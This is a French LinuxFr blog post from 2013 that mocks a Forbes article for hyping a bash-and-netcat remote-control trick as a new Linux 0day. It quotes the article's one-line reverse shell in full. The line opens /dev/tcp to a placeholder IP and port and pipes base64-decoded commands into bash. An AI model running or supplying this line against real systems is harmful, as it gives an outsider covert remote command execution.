URL: https://linuxfr.org/users/mitsurugi/journaux/bash-tactic-un-nouveau-0day-linux-phear
Title: Bash tactic: un nouveau 0day linux. Phear!!!
Authors: mitsurugi
Date: 2013年10月16日T10:08:53+02:00
License: CC By-SA
Tags: 
Score: 21
Quelquefois on lit des docs super intéressants et très bien écrit (syntaxe, orthographe, etc..). Quelquefois, ils sont super intéressants, mais mal écrit (mise en page déplorable, l33t Sp3ak, pas d'intros, etc..) et certains sont très bien écrits, mais complètement nuls. 
Je vous laisse lire un article qui présente le nouveau problème "data security" de linux qui expose une "bash tactic" pour impacter l'ensemble des systèmes UNIX [http://www.forbes.com/sites/michaelvenables/2013/10/10/how-they-popped-the-penguin-the-linux-bash-attack-its-impact-on-user-data-security/](http://www.forbes.com/sites/michaelvenables/2013/10/10/how-they-popped-the-penguin-the-linux-bash-attack-its-impact-on-user-data-security/).
Je vous laisse reprendre votre souffle 5 minutes. Oui, c'est vrai. Nous sommes en 2013 et des journalistes peuvent écrire ce genre d'articles sérieusement. Je reste sans mot devant ce tissu d'âneries aussi bien écrites. Séparément, les phrases font très sérieuses, très documentées, mais quand on lit l'article, on apprend qu'un pirate peut utiliser bash et netcat pour piloter une machine à distance ( Seriously? ) et que cela peut permettre de contourner les firewalls lorsqu'on autorise les connexions ( O RLY?) et que bash est malheureusement dispo depuis 1989 sur beaucoup d'unix et à peu près tous les linux du monde (Fear!)
Pour écrire l'article, un chercheur en sécurité n'a pas hésité à sacrifier l'intégrité de son serveur minecraft en lançant la commande suivante (attention, expertise en sécurité niveau +42 nécessaire à la compréhension de ce qui suit. Do not try this at home):
 exec 5<strong> /dev/tcp/[ip]/[port];
 cat <&5 &#124; while read line; do echo &quot;$line&quot; &#124; base64 -d &#124; bash &#124; base64 2>&5>&5; done
C'est tellement gros qu'on a l'impression que c'est voulu, raconter des choses aussi creuses en autant de mot, ça me laisse sans voix.
</div><div class="naked_ctrl">
<form action="/index.cgi/contrast" method="get" name="gate">
<p><a href="http://altstyle.alfasado.net">AltStyle</a> によって変換されたページ <a href="httpS://linuxfr.org/users/mitsurugi/journaux/bash-tactic-un-nouveau-0day-linux-phear.md">(-&gt;オリジナル)</a>
/ <label>アドレス: <input type="text" name="naked_post_url" value="httpS://linuxfr.org/users/mitsurugi/journaux/bash-tactic-un-nouveau-0day-linux-phear.md" size="22" /></label> <label>モード: <select name="naked_post_mode">
<option value="default">デフォルト</option>
<option value="speech">音声ブラウザ</option>
<option value="ruby">ルビ付き</option>
<option value="contrast" selected="selected">配色反転</option>
<option value="larger-text">文字拡大</option>
<option value="mobile">モバイル</option>
</select>
<input type="submit" value="表示" />
</p>
</form>
</div>